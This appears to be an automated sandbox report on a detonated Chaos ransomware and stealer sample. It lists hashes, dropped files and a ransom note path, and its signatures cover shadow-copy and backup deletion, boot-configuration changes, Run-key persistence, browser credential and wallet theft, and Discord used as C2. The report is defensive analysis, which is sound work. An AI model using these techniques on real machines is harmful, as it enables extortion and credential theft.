SHA1 288c020fb12a4d8c65ed22a364b5eb8f4126a958
SHA256 c78eab8e057bddd55f998e72d8fdf5b53d9e9c8f67c8b404258e198eb2cdcf24
SHA512 d04adc52ee0ceed4131eb1d133bfe9a66cbc0f88900270b596116064480afe6ae6ca42feb0eaed54cb141987f2d7716bb2dae947a025014d05d7aa0b0821dc50

C:\Users\Admin\AppData\Local\Temp\_MEI29042\python311.dll

MD5 58e01abc9c9b5c885635180ed104fe95
SHA1 1c2f7216b125539d63bd111a7aba615c69deb8ba
SHA256 de1b95d2e951fc048c84684bc7df4346138910544ee335b61fc8e65f360c3837
SHA512 cd32c77191309d99aeed47699501b357b35669123f0dd70ed97c3791a009d1855ab27162db24a4bd9e719b68ee3b0539ee6db88e71abb9a2d4d629f87bc2c081

memory/108-177-0x0000000000BC0000-0x0000000000D12000-memory.dmp

C:\ProgramData\Adobe\Updater6\read_it.txt

MD5 8d343bf17ef14ed4108d2db0f866100a
SHA1 c40e7c3d21224852317c9faa94fb9491798afe64
SHA256 ff6234d40f59879bfb8cbc051303e5c40b7faab945a8b867937146cf693032a3
SHA512 5ef8d0a32c7b00393f9ccec32ec5b65532c0cb15f7f03bd93920fe74d365a4805da55b26bc0c6ed56b96a47a1c186a673147cb67539a6e907e82416b331e9303

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Notepad.lnk

MD5 d1457b72c3fb323a2671125aef3eab5d
SHA1 5bab61eb53176449e25c2c82f172b82cb13ffb9d
SHA256 8a8de823d5ed3e12746a62ef169bcf372be0ca44f0a1236abc35df05d96928e1
SHA512 ca63c07ad35d8c9fb0c92d6146759b122d4ec5d3f67ebe2f30ddb69f9e6c9fd3bf31a5e408b08f1d4d9cd68120cced9e57f010bef3cde97653fed5470da7d1a0

C:\Users\Admin\AppData\Local\Temp\_MEI29042\base_library.zip

MD5 611f3f285525f3c3354fd199140283a2
SHA1 8a0cf2dd234b0551e193c43f085115d5f0139620
SHA256 fe8ddb060df80f828b35d3ecae62a73d3105b493818385485f9428d7c6aad8e9
SHA512 bcb0d0c9816a266ac77e65476c18d3334f81114f1716c102a31d66a0098c483c6ecb712eb0967b920f15254ef6954e936a9d6d0ad33e7810fab6d06790ffba76

C:\Users\Admin\AppData\Local\Temp\_MEI29042\wheel-0.42.0.dist-info\LICENSE.txt

MD5 7ffb0db04527cfe380e4f2726bd05ebf
SHA1 5b39c45a91a556e5f1599604f1799e4027fa0e60
SHA256 30c23618679108f3e8ea1d2a658c7ca417bdfc891c98ef1a89fa4ff0c9828654
SHA512 205f284f3a7e8e696c70ed7b856ee98c1671c68893f0952eec40915a383bc452b99899bdc401f9fe161a1bf9b6e2cea3bcd90615eee9173301657a2ce4bafe14

C:\Users\Admin\AppData\Local\Temp\_MEI29042\wheel-0.42.0.dist-info\entry_points.txt

MD5 6180e17c30bae5b30db371793fce0085
SHA1 e3a12c421562a77d90a13d8539a3a0f4d3228359
SHA256 ad363505b90f1e1906326e10dc5d29233241cd6da4331a06d68ae27dfbc6740d
SHA512 69eae7b1e181d7ba1d3e2864d31e1320625a375e76d3b2fbf8856b3b6515936ace3138d4d442cabde7576fcfbcbb0deed054d90b95cfa1c99829db12a9031e26

C:\Users\Admin\AppData\Local\Temp\_MEI29042\importlib_metadata-7.0.1.dist-info\top_level.txt

MD5 a24465f7850ba59507bf86d89165525c
SHA1 4e61f9264de74783b5924249bcfe1b06f178b9ad
SHA256 08eddf0fdcb29403625e4acca38a872d5fe6a972f6b02e4914a82dd725804fe0
SHA512 ecf1f6b777970f5257bddd353305447083008cebd8e5a27c3d1da9c7bdc3f9bf3abd6881265906d6d5e11992653185c04a522f4db5655ff75eedb766f93d5d48

C:\Users\Admin\AppData\Local\Temp\_MEI29042\cryptography-42.0.0.dist-info\top_level.txt

MD5 e7274bd06ff93210298e7117d11ea631
SHA1 7132c9ec1fd99924d658cc672f3afe98afefab8a
SHA256 28d693f929f62b8bb135a11b7ba9987439f7a960cc969e32f8cb567c1ef79c97
SHA512 aa6021c4e60a6382630bebc1e16944f9b312359d645fc61219e9a3f19d876fd600e07dca6932dcd7a1e15bfdeac7dbdceb9fffcd5ca0e5377b82268ed19de225

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-04 14:58

Reported

2024-09-04 15:00

Platform

win10v2004-20240802-en

Max time kernel

93s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe"

Signatures

Chaos

ransomware chaos

Chaos Ransomware

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (183) files with added filename extension

ransomware

Deletes backup catalog

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\wbadmin.exe N/A

Disables Task Manager via registry modification

evasion

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\main.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mai.exe.deathgrip C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mai.exe.deathgrip C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mai.exe C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\read_it.txt C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mai.exe C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\mai.exe N/A

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\UpdateTask = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe" C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\History\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\OneDrive\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Application Shortcuts\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\3D Objects\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Downloads\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification F:\$RECYCLE.BIN\S-1-5-21-945322488-2060912225-3527527000-1000\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Pictures\Camera Roll\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Music\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Documents\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Downloads\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Searches\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Videos\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Contacts\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\StartUp\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\System Tools\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Favorites\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Libraries\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Desktop\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\Pictures\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Public\AccountPictures\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Music\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Pictures\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Videos\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Pictures\Saved Pictures\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Desktop\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn1\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Links\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Saved Games\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A
File opened for modification C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3vzcd0xx3.jpg" C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Browser Information Discovery

discovery

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\c20897e18974953c103ea9249a0857a11676fe4a9e6f3bbc59e037a1a7cd57e6.exe N/A

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 C:\Windows\System32\vds.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName C:\Windows\System32\vds.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 C:\Windows\System32\vds.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName C:\Windows\System32\vds.exe N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\NOTEPAD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\main.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
